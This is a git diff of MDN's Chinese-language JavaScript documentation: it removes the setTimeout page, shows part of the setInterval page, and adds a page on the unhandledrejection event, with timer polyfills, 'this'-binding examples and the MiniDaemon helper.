- -

解释

- -

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

- -
myArray = ['zero', 'one', 'two'];
-
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-myArray.myMethod(); // prints "zero,one,two"
-myArray.myMethod(1); // prints "one"
-setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
-setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
-// passing the 'this' object with .call won't work
-// because this will change the value of this inside setTimeout itself
-// while we want to change the value of this inside myArray.myMethod
-// in fact, it will be an error because setTimeout code expects this to be the window object:
-setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
-
- -

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

- -

一个可能的解决方案

- -

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

- -
// Enable the passage of the 'this' object through the JavaScript timers
-
-var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
-
-window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeST__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
-
-window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeSI__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
- -
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
- -

New feature test:

- -
myArray = ['zero', 'one', 'two'];
-
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
-setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
-
- -

Another, more complex, solution for the this problem is the following framework.

- -
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
- -

MiniDaemon:一个用于管理定时器的小框架

- -

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

- -
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
- -

minidaemon.js

- -
-
/*\
-|*|
-|*|  :: MiniDaemon ::
-|*|
-|*|  Revision #2 - September 26, 2014
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|  https://github.com/madmurphy/minidaemon.js
-|*|
-|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/lgpl-3.0.html
-|*|
-\*/
-
-function MiniDaemon (oOwner, fTask, nRate, nLen) {
-  if (!(this && this instanceof MiniDaemon)) { return; }
-  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
-  if (oOwner) { this.owner = oOwner; }
-  this.task = fTask;
-  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
-  if (nLen > 0) { this.length = Math.floor(nLen); }
-}
-
-MiniDaemon.prototype.owner = null;
-MiniDaemon.prototype.task = null;
-MiniDaemon.prototype.rate = 100;
-MiniDaemon.prototype.length = Infinity;
-
-  /* These properties should be read-only */
-
-MiniDaemon.prototype.SESSION = -1;
-MiniDaemon.prototype.INDEX = 0;
-MiniDaemon.prototype.PAUSED = true;
-MiniDaemon.prototype.BACKW = true;
-
-  /* Global methods */
-
-MiniDaemon.forceCall = function (oDmn) {
-  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
-  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
-  return true;
-};
-
-  /* Instances methods */
-
-MiniDaemon.prototype.isAtEnd = function () {
-  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
-};
-
-MiniDaemon.prototype.synchronize = function () {
-  if (this.PAUSED) { return; }
-  clearInterval(this.SESSION);
-  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
-};
-
-MiniDaemon.prototype.pause = function () {
-  clearInterval(this.SESSION);
-  this.PAUSED = true;
-};
-
-MiniDaemon.prototype.start = function (bReverse) {
-  var bBackw = Boolean(bReverse);
-  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
-  this.BACKW = bBackw;
-  this.PAUSED = false;
-  this.synchronize();
-};
-
-
- -
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
- -

语法

- -

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

- -

说明

- -

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

- -

参数

- -
-
thisObject
-
The this object on which the callback function is called. It can be an object or null.
-
callback
-
The function that is repeatedly invoked . It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
-
rate (optional)
-
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
-
length (optional)
-
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
-
- -

MiniDaemon 实例(instance)的属性

- -
-
myDaemon.owner
-
The this object on which is executed the daemon (read/write). It can be an object or null.
-
myDaemon.task
-
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
-
myDaemon.rate
-
The time lapse (in number of milliseconds) between each invocation (read/write).
-
myDaemon.length
-
The total number of invocations. It can be a positive integer or Infinity (read/write).
-
- -

MiniDaemon 实例的方法

- -
-
myDaemon.isAtEnd()
-
Returns a boolean expressing whether the daemon is at the start/end position or not.
-
myDaemon.synchronize()
-
Synchronize the timer of a started daemon with the time of its invocation.
-
myDaemon.pause()
-
Pauses the daemon.
-
myDaemon.start([reverse])
-
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
-
- -

MiniDaemon 全局对象的方法

- -
-
MiniDaemon.forceCall(minidaemon)
-
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
-
- -

使用示例

- -

HTML:

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="UTF-8" />
-  <title>MiniDaemin Example - MDN</title>
-  <script type="text/javascript" src="minidaemon.js"></script>
-  <style type="text/css">
-    #sample_div {
-      visibility: hidden;
-    }
-  </style>
-</head>
-
-<body>
-  <p>
-    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
-    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
-    <input type="button" onclick="fadeInOut.pause();" value="pause" />
-  </p>
-
-  <div id="sample_div">Some text here</div>
-
-  <script type="text/javascript">
-    function opacity (nIndex, nLength, bBackwards) {
-      this.style.opacity = nIndex / nLength;
-      if (bBackwards ? nIndex === 0 : nIndex === 1) {
-        this.style.visibility = bBackwards ? 'hidden' : 'visible';
-      }
-    }
-
-    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
-  </script>
-</body>
-</html>
- -

View this example in action

- -

备注

- -

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

- -

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

- -

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

- -

Ensure that execution duration is shorter than interval frequency

- -

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

- -

In these cases, a recursive setTimeout() pattern is preferred:

- -
(function loop(){
-   setTimeout(function() {
-      // Your logic here
-
-      loop();
-  }, delay);
-})();
-
- -

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

- -

Throttling of intervals

- -

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
- -

浏览器兼容性

- -
- - -

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

-
- -

参见

- - diff --git a/files/zh-cn/web/api/window/settimeout/index.html b/files/zh-cn/web/api/window/settimeout/index.html deleted file mode 100644 index f9813851f7..0000000000 --- a/files/zh-cn/web/api/window/settimeout/index.html +++ /dev/null @@ -1,476 +0,0 @@ ---- -title: window.setTimeout -slug: Web/API/Window/setTimeout -tags: - - Timers - - WindowOrWorkerGlobalScope - - WindowTimers - - setTimeout -translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout ---- -

{{APIRef("HTML DOM")}}

- -

 {{domxref("WindowOrWorkerGlobalScope")}} 混合的 setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。

- -

语法

- -
var timeoutID = scope.setTimeout(function[, delay, arg1, arg2, ...]);
-var timeoutID = scope.setTimeout(function[, delay]);
-var timeoutID = scope.setTimeout(code[, delay]);
- -

参数

- -
-
function
-
{{jsxref("function")}} 是你想要在到期时间(delay毫秒)之后执行的函数
-
code
-
这是一个可选语法,你可以使用字符串而不是{{jsxref("function")}} ,在delay毫秒之后编译和执行字符串 (使用该语法是不推荐的, 原因和使用 {{jsxref("Global_Objects/eval", "eval()")}}一样,有安全风险)。
-
delay {{optional_inline}}
-
延迟的毫秒数 (一秒等于1000毫秒),函数的调用会在该延迟之后发生。如果省略该参数,delay取默认值0,意味着“马上”执行,或者尽快执行。不管是哪种情况,实际的延迟时间可能会比期待的(delay毫秒数) 值长,原因请查看{{anch("实际延时比设定值更久的原因:最小延迟时间")}}。
-
arg1, ..., argN {{optional_inline}}
-
附加参数,一旦定时器到期,它们会作为参数传递给{{jsxref("function")}} 
-
- -
-

备注:需要注意的是,IE9 及更早的 IE 浏览器不支持向回调函数传递额外参数(第一种语法)。如果你想要在IE中达到同样的功能,你必须使用一种兼容代码 (查看  {{anch("兼容旧环境(polyfill)")}} 一段).

-
- -

返回值

- -

返回值timeoutID是一个正整数,表示定时器的编号。这个值可以传递给{{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}来取消该定时器。

- -

需要注意的是setTimeout()和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}共用一个编号池,技术上,clearTimeout()和 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 可以互换。但是,为了避免混淆,不要混用取消定时函数。

- -

在同一个对象上(一个window或者worker),setTimeout()或者setInterval()在后续的调用不会重用同一个定时器编号。但是不同的对象使用独立的编号池。

- -

例子

- -

下文的例子在网页中设置了两个简单的按钮,以触发 setTimeout() 和 clearTimeout() 方法:按下第一个按钮会设置一个定时器,定时器在 2s 后显示一个警告对话框,并将此次 setTimeout 的定时器 ID 保存起来,按下第二个按钮可以取消定时器。

- -

HTML

- -
<p>Live Example</p>
-<button onclick="delayedAlert();">Show an alert box after two seconds</button>
-<p></p>
-<button onclick="clearAlert();">Cancel alert before it happens</button>
-
- -
- -
- -
- -
- -

JavaScript

- -
var timeoutID;
-
-function delayedAlert() {
-  timeoutID = window.setTimeout(slowAlert, 2000);
-}
-
-function slowAlert() {
-  alert('That was really slow!');
-}
-
-function clearAlert() {
-  window.clearTimeout(timeoutID);
-}
-
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -

结果展示

- -

{{EmbedLiveSample('例子')}}

- -

也可参考 clearTimeout() 示例.

- -

兼容旧环境(polyfill)

- -

如果你需要向你的回调函数内传递一个或多个参数, 而且还需要兼容那些不支持传递额外参数(不管使用setTimeout() 或者 setInterval())的浏览器时(比如,IE9及更早的版本), 你可以引入下面的兼容代码来支持向定时器函数传参。将以下代码添加到你代码的最上面:

- -
/*\
-|*|
-|*|  Polyfill which enables the passage of arbitrary arguments to the
-|*|  callback functions of JavaScript timers (HTML5 standard syntax).
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
-|*|
-|*|  Syntax:
-|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
-|*|  var timeoutID = window.setTimeout(code, delay);
-|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
-|*|  var intervalID = window.setInterval(code, delay);
-|*|
-\*/
-
-(function() {
-  setTimeout(function(arg1) {
-    if (arg1 === 'test') {
-      // feature test is passed, no need for polyfill
-      return;
-    }
-    var __nativeST__ = window.setTimeout;
-    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
-      var aArgs = Array.prototype.slice.call(arguments, 2);
-      return __nativeST__(vCallback instanceof Function ? function() {
-        vCallback.apply(null, aArgs);
-      } : vCallback, nDelay);
-    };
-  }, 0, 'test');
-
-  var interval = setInterval(function(arg1) {
-    clearInterval(interval);
-    if (arg1 === 'test') {
-      // feature test is passed, no need for polyfill
-      return;
-    }
-    var __nativeSI__ = window.setInterval;
-    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
-      var aArgs = Array.prototype.slice.call(arguments, 2);
-      return __nativeSI__(vCallback instanceof Function ? function() {
-        vCallback.apply(null, aArgs);
-      } : vCallback, nDelay);
-    };
-  }, 0, 'test');
-}())
- -

针对IE的解决方法

- -

如果你需要单独的针对IE9及之前浏览器的 hack 写法,你可以使用 JavaScript 条件注释:

- -
/*@cc_on
-  // conditional IE < 9 only fix
-  @if (@_jscript_version <= 9)
-  (function(f){
-     window.setTimeout = f(window.setTimeout);
-     window.setInterval = f(window.setInterval);
-  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
-  @end
-@*/
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -

或者使用更加清晰的 IE HTML 条件注释:

- -
<!--[if lte IE 9]><script>
-(function(f){
-window.setTimeout=f(window.setTimeout);
-window.setInterval=f(window.setInterval);
-})(function(f){return function(c,t){
-var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
-});
-</script><![endif]-->
-
-
-
- -
- -
- -

变通方法

- -

另一种方法是使用匿名函数包裹你的回调函数,这种方式要消耗更多资源:

- -
var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000);
-
- -
- -

上面那个例子也可以用箭头函数:

- -
var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000);
-
- -

此外,也可使用 function's bind

- -
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
-
- -

关于"this"的问题

- -

当你向 setTimeout() (或者其他函数)传递一个函数时,该函数中的this指向跟你的期望可能不同,这个问题在 JavaScript reference 中进行了详细解释.

- -

解释

- -

setTimeout()调用的代码运行在与所在函数完全分离的执行环境上。这会导致,这些代码中包含的 this 关键字在非严格模式会指向 window (或全局)对象,严格模式下为 undefined,这和所期望的this的值是不一样的。

- -
-

备注:即使是在严格模式下,setTimeout()的回调函数里面的this仍然默认指向window对象, 并不是undefined

-
- -

查看下面的例子:

- -
let myArray = ["zero", "one", "two"];
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-myArray.myMethod(); // prints "zero,one,two"
-myArray.myMethod(1); // prints "one"
- -

上面这段代码正常工作,用myArray调用,在函数内,this[sProperty]等于 myArray[sProperty]。然后,下面这个例子:

- -
setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
-setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
- -

myArray.myMethod函数传递给 setTimeout,到了定时时间,this没有指向,默认指向window对象。并且没有方法把 thisArg 传递给setTimeout,正如Array方法的forEachreduce等。下面的例子表示使用call方法设置this也没用。

- -
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
- -

可能的解决方案

- -

一个通用的方法是用包装函数来设置this

- -
setTimeout(function(){myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout(function(){myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
- -

箭头函数也可以:

- -
setTimeout(() => {myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout(() => {myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
- -

另一个解决this问题的方法是使用两个非原生的 setTimeout()setInterval() 全局函数代替原生的。该非原生的函数通过使用Function.prototype.call 方法激活了正确的作用域。下面的代码显示了应该如何替换:

- -
// Enable the passage of the 'this' object through the JavaScript timers
-
-var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
-
-window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeST__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
-
-window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeSI__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
- -
备注: 这两个替换也让 IE支持了符合 HTML5 标准的定时器函数。所以也能作为一个 polyfills。查看 Callback arguments 一段.
- -

新特性检测:

- -
let myArray = ["zero", "one", "two"];
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
-setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
-
- -

针对这个问题并没有原生的解决方案。

- -
注:JavaScript 1.8.5 引入了 Function.prototype.bind() 方法,该方法允许显式地指定函数调用时 this 所指向的值 。该方法可以帮助你解决 this 指向不确定的问题。
- -

使用bind()的例子:

- -
let myArray = ['zero', 'one', 'two'];
-myBoundMethod = (function (sProperty) {
-    console.log(arguments.length > 0 ? this[sProperty] : this);
-}).bind(myArray);
-
-myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
-myBoundMethod(1); // prints "one"
-setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
-setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
-
- -

备注

- -

你可以使用 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()","clearTimeout()")}}来取消定时器。

- -

如果你希望你的代码被重复的调用 (比如每 N 毫秒一次),考虑使用{{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}。

- -

传递字符串字面量

- -

setTimeout()传递一个字符串而不是函数会遭受到与使用eval一样的风险.

- -
// 推荐
-window.setTimeout(function() {
-    alert("Hello World!");
-}, 500);
-
-// 不推荐
-window.setTimeout("alert(\"Hello World!\");", 500);
-
-
- -

字符串会在全局作用域内被解释执行,所以当setTimeout()函数执行完毕后,字符串中的变量不可用.

- -

实际延时比设定值更久的原因:最小延迟时间

- -

有很多因素会导致setTimeout的回调函数执行比设定的预期值更久,本节将讨论最常见的原因。

- -

最小延时 >=4ms

- -

在浏览器中,setTimeout()/{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} 的每调用一次定时器的最小间隔是4ms,这通常是由于函数嵌套导致(嵌套层级达到一定深度),或者是由于已经执行的setInterval的回调函数阻塞导致的。例如:

- -
function cb() { f(); setTimeout(cb, 0); }
-setTimeout(cb, 0);
- -
setInterval(f, 0);
- -

在Chrome 和 Firefox中, 定时器的第5次调用被阻塞了;在Safari是在第6次;Edge是在第3次。Gecko 从这个版本 version 56开始对 setInterval() 开始采用这样的机制(setTimeout()已经实现,具体请参考以下内容)。

- -

一直以来,不同浏览器中出现这种最小延迟的情况有所不同(例如Firefox) - 从其他地方调用了setInterval( ),或者在嵌套函数调用setTimeout( ) 时(嵌套级别达到特定深度时),都会出现超时延迟。

- -

如果想在浏览器中实现0ms延时的定时器,你可以参考这里所说的{domxref("window.postMessage()")}}

- -
-

Note: 最小延时, DOM_MIN_TIMEOUT_VALUE, 是4ms  (但在Firefox中通常是是存储在 dom.min_timeout_value 这个变量中), DOM_CLAMP_TIMEOUT_NESTING_LEVEL 的第5层.

-
- -
-

Note: 4 ms 是在  HTML5 spec  中精确的,并且在2010年及以后的跨浏览器中保持了一致,这个数值比 {{geckoRelease("5.0")}}规定的嵌套函数的最小延时10ms更为精确。

-
- -

未被激活的tabs的定时最小延迟>=1000ms

- -

为了优化后台tab的加载损耗(以及降低耗电量),在未被激活的tab中定时器的最小延时限制为1S(1000ms)。

- -

Firefox 从version 5 (see {{bug(633421)}}开始采取这种机制,1000ms的间隔值可以通过 dom.min_background_timeout_value 改变。Chrome 从 version 11 (crbug.com/66078)开始采用。

- -

Android 版的Firefox对未被激活的后台tabs的使用了15min的最小延迟间隔时间 ,并且这些tabs也能完全不被加载。

- -
-

当 Web Audio API {{domxref("AudioContext")}} 正在被用来播放音频的时候,Firefox 50不会再限制后台tabs的加载。 后续的Firefox 51 版本修正了这个问题,即使在没有音频播放的情况下,也不再限制后台tabs的加载。这个解决了一些软件应用在后台tabs中播放基于文本的音频( note-based) 时,无法去同步音频和画面的问题。

-
- -

追踪型脚本的最小延时限制

- -

从Firefox 55版本开始,追踪型脚本(例如 谷歌分析,或者其他的一些被Firefox 的 TP lists 识别为追踪型脚本的 外链URL脚本)是重点限制加载的对象。在当前正在使用的页面中,这个节流限制的延时依然是4ms。但是在后台tabs中,这个最小延时限制是10000ms(10s),这个限制会在文档第一次加载后的30s后生效。

- -

控制这些行为的属性包含以下这些:

- - - -

超时延迟

- -

除了"最小延时"之外,定时器仍然有可能因为当前页面(或者操作系统/浏览器本身)被其他任务占用导致延时。 需要被强调是, 直到调用 setTimeout()的主线程执行完其他任务之后,回调函数和代码段才能被执行。例如:

- -
function foo() {
-  console.log('foo has been called');
-}
-setTimeout(foo, 0);
-console.log('After setTimeout');
- -

会在控制台输出:

- -
After setTimeout
-foo has been called
- -

出现这个结果的原因是,尽管setTimeout 以0ms的延迟来调用函数,但这个任务已经被放入了队列中并且等待下一次执行;并不是立即执行;队列中的等待函数被调用之前,当前代码必须全部运行完毕,因此这里运行结果并非预想的那样。

- -

WebExtension Background pages和定时器

- -

在 WebExtension 中 background pages,timers工作不正常。这主要因为background pages实际上,并不是一次性全部加载:如果浏览器没有使用它,就不加载,如果需要就恢复。这对于WebExtension是透明的,但是有些事件(包括JS的timers)不会在不加载/恢复循环中执行,所以WebExtension中建议使用alarms。更详细的细节在合并到事件驱动后台脚本

- -

在本文写作的时候,只有Chrome展示了如上的特性 — Firefox没有未加载/恢复循环的行为,所以timers仍然可以工作。但是,仍然建议不要在WebExtension中使用timers:

- -

1.兼容Chorme。

- -

2.未来行为的改变会引起问题。

- -

最大延时值

- -

包括 IE,  Chrome, Safari, Firefox 在内的浏览器其内部以32位带符号整数存储延时。这就会导致如果一个延时(delay)大于 2147483647 毫秒 (大约24.8 天)时就会溢出,导致定时器将会被立即执行。

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
- -

浏览器兼容性

- -
- - -

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

-
- -

相关链接:

- - diff --git a/files/zh-cn/web/api/window/unhandledrejection_event/index.html b/files/zh-cn/web/api/window/unhandledrejection_event/index.html new file mode 100644 index 0000000000..9c3286aa44 --- /dev/null +++ b/files/zh-cn/web/api/window/unhandledrejection_event/index.html @@ -0,0 +1,118 @@ +--- +title: unhandledrejection +slug: Web/Events/unhandledrejection +tags: + - API + - JavaScript + - Promise + - unhandledrejection + - 事件 + - 参考 +translation_of: Web/API/Window/unhandledrejection_event +--- +
{{APIRef("HTML DOM")}}
+ +

当{{jsxref("Promise")}} 被 reject 且没有 reject 处理器的时候,会触发 unhandledrejection 事件;这可能发生在 {{domxref("window")}} 下,但也可能发生在 {{domxref("Worker")}} 中。 这对于调试回退错误处理非常有用。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡No
是否可取消Yes
接口{{domxref("PromiseRejectionEvent")}}
事件处理器属性{{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}}
+ +

使用备注

+ +

unhandledrejection 继承自 {{domxref("PromiseRejectionEvent")}},而 {{domxref("PromiseRejectionEvent")}} 又继承自 {{domxref("Event")}}。因此unhandledrejection 含有 PromiseRejectionEventEvent 的属性和方法。

+ +

例子

+ +

Here we have a few examples showing ways you can make use of the unhandledrejection event. The event includes two useful pieces of information:

+ +

我们将通过几个例子来展示 unhandledrejection 事件的使用方式。该事件主要包含两部分有用的信息:

+ +
+
promise
+
The actual {{jsxref("Promise")}} which was rejected with no handler available to deal with the rejection.
+
特定的 {{jsxref("Promise")}} 被 reject 而没有被相应的异常处理方法所处理时
+
reason
+
The reason that would have been passed into the rejection handler if one had existed. See {{jsxref("Promise.catch", "catch()")}} for details.
+
将会传入异常处理方法中的错误原因(如果存在),查看 {{jsxref("Promise.catch", "catch()")}} 相关以获取更多细节。
+
+ +

基本的异常上报

+ +

此示例只是将有关未处理的 Promise rejection 信息打印到控制台。

+ +
window.addEventListener("unhandledrejection", event => {
+  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
+});
+
+ +

您还可以使用 {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} 事件处理程序属性来设置事件侦听器:

+ +
window.onunhandledrejection = event => {
+  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
+};
+
+ +

防止默认处理

+ +

许多环境(例如 {{Glossary("Node.js")}} ) 默认情况下会向控制台打印未处理的 Promise rejections。您可以通过添加一个处理程序来防止 unhandledrejection 这种情况的发生,该处理程序除了您希望执行的任何其他任务之外,还可以调用 {{domxref("Event.preventDefault()", "preventDefault()")}} 来取消该事件,从而防止该事件冒泡并由运行时的日志代码处理。这种方法之所以有效,是因为 unhandledrejection 是可以取消的。

+ +
window.addEventListener('unhandledrejection', function (event) {
+  // ...您的代码可以处理未处理的拒绝...
+
+  // 防止默认处理(例如将错误输出到控制台)
+
+  event.preventDefault();
+});
+
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#unhandled-promise-rejections', 'unhandledrejection')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.unhandledrejection_event")}}

+ +

参考

+ + + +

[1] The corresponding event handler property is defined on the {{domxref("WindowEventHandlers")}} mixin, which is available on both the {{domxref("Window")}} interface and all types of {{domxref("Worker")}} interfaces.

